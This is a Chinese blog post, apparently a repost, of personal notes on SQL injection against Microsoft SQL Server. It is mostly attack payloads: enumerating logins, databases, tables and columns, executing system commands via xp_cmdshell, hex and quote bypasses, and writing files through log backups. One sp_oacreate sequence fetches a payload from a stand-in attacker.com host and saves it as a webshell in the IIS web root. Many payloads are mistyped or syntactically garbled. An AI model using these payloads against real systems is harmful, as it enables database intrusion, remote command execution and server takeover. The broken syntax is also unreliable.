暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

【SQL注入笔记】MSSQL数据库

菜鸟小新 2021-08-30
764

MS SQL server是微软推出的一款数据库产品,主要面向中小企业,优势继承了微软公司的各类产品及资源,提供了强大的可视化界面,高度集成的管理开发工具,采用T-SQL语言。

其与普通的mysql注入类似,运行权限较高。

官网:

https//msdn.itellyou.cn/



创建数据库(DML):

    Select,update、insert、delect

    创建表(DDL):

      Create、alert、drop

      视图(DCL):

        Grant,deny,revole


        MSSQL注入常用属性:

          Select@@seravername
          Master..syslogins,master…sysprocesses
          Name.loginname
          DB_NAME(I)


          了解更多(备忘录):

          https://websec.ca/kb/sql_injection#MSSQL_Default_Databases


          存储过程:

          MSSQL中,存在大量的存储过程,即经过第一次编译后再次调用不需要再次编译。

          注入原理:

          针对MSSQL的注入可利用存储过程,来进行提等操作;以xp_cmdshell为代表的提权操作,利用存储过程维持权限,后渗透。


          MSSQL数据库信息搜集语法:


            @@VERSION
            SELECT * FROM users WHERE id = ‘1’ AND @@VERSION LIKE ‘%14%’;
            Select name,loginame from master..syslogins,master..sysprocesses
            User,system_user,suser_sname(),is_srvrolemember(‘sysadmin’)
            @@SERVERNAME
            Select name from master..sysdatabases
            Select DB_NAME(i)

            爆数据表:

              UNION SELECT name FROM master..sysobjects WHERE xtype=’U’
              AND SELECT SUBSTRING(table_name.1.1)FROM information_schema.tables >’A’
              AND 1 =(SELECT TOP 1 table_name FROM information_schema.tables)
              AND 1=(SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))


              Sysobjects是一个系统视图,用于存放该数据库内创建的所有对象,如约束、默认值、日志、规则、存储过程等,而XTYPE代表对象的类型。

                常见的类型有:
                U:表(用户自定义类型)
                V:视图
                P:存储过程
                X:扩展存储过程

                爆数据列名

                  Select table_name %2b’.’from information_schema.tables FOR XML PATH(“”)


                  And 1=0; begin declare @xy varchar(8000) set @xy=’.’ select@xy=@xy+’’+name from sysobjects where xtype=’U’ AND name>@xy select @xy AS xy INTO TMP_DB end;


                  Union select name FROM master_syscolumns where id = (select id FROM master_syscolumns where name = ‘tablename’)


                  And select substring(column_name.1.1) FROM information_schema.columns >’A’


                  AND 1= (select top 1 column_name FROM information_schema.columns)


                  AND 1= (select top 1 column_name FROM information_schema.columns where column_name NOT IN(select top 1 column_name FROM information_schema.columns))



                  权限探测:




                  知识基础:

                  1.多语句注入

                  多语句注入即为在原SQL语句之后拼接一个“;”,闭合原语句。之后即可拼接其他类型的SQL语句。

                  使用多语句注入可不受注入点类型限制,而MSSQL默认支持多语句注入

                  2.TMP临时表

                  我们在读取文件内容时,常常受限于显示位无法直接回显数据,这时就需要通过

                  建立TMP临时表来间接将数据输出,创建语法为:

                    CREATE TABLE #my temptable(cola init primary KEY)




                    是否站库分离?




                    站库分类指的是出于安全或性能考虑,网站与数据库不在同一台机器上,我们在注入的过程中,需要考虑到,并判别目标网站是否执行了站库分离机制。

                      1’ and((selecthost_name()) = (select @@SERVERNAME))—

                      若报错,则站库分离;若回显正常,则无站库分离

                        @@servername

                        Host_name代表web应用主机






                        判断XP_CMDSHELL是否开启?




                        存储过程中的XP_CMDSHELL可执行系统命令,是后续提权操作的主要方式,从MSSQL2005版本之后,默认关闭。

                        1’ and 1=(selectcount(*) FROM master..sysobjects where xtype = ‘x’ AND name = ‘xp cmdshell’) --


                        若报错,则没有开启;若正常回显,则表示开启。





                        文件操作:从写文件到getshell

                          转存入表:
                          Create table mydata (line varchar(8000));
                          Bulk insert mydata from ‘d://1.txt’;
                          DROP table mydata;

                          16进制转换绕过

                          ‘and 1=0;declare@s varchar(4000) set @s=cast(16进制 AS varchar4000)Exec@s);

                          绕过引号:

                          Select*from userswhere username = char97 +char(100)+char(109)+char(105)+char(110)

                          定位数据库文件:

                          EXEC sp_helpdbmaster; -location of master.mdf


                          &--xp_cmdshell执行系统命令写入文件

                            ph0rse1’;exec xp_cmdshell ‘whoami >c:\tmp\1.txt’;--

                            xp_cmdshell之外,还有很多存储命令进行文件操作,例如SQ_OACREATE

                            &--dbowner权限下进行扩展攻击利用

                              ;alter database news set recovery full
                              ;create table test(str image) –
                              ;backup log news to disk = ‘c:\testwith init –
                              ;insert into test(strvalues(‘恶意代码’)—

                              &--sp_oacreate存储下载的远程文件

                                ;DECLARE @B varbinary(8000),@hr int,@http INT,@down INT
                                EXEC sp_oacreate [Microsoft.xmlhttp],@http output
                                EXEC @hr = sp_oamethod @http,[open],null,[get],[http://WWW.attacker.com/muma.txt],0
                                EXEC @hr = sp_ oamethod @http,[send],null
                                EXEC @hr =sp_OAGetproperty @http,[responsebody],@B output
                                EXEC @hr = sp_oacreate [ADODB.Stream],@down output
                                EXEC @hr =sp_OASetproperty  @down,[type],1 EXEC @hr=sp_ OASetproperty  @down,[mode],3
                                EXEC @hr =sp_ oamethod  @down,[open],null EXEC @hr=sp_ oamethod  @down,[write],null,@B
                                EXEC @hr =sp_ oamethod  @down,[savetofile],null,[c:\www_iis\muma.aspx],1



                                文章转载自菜鸟小新,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                评论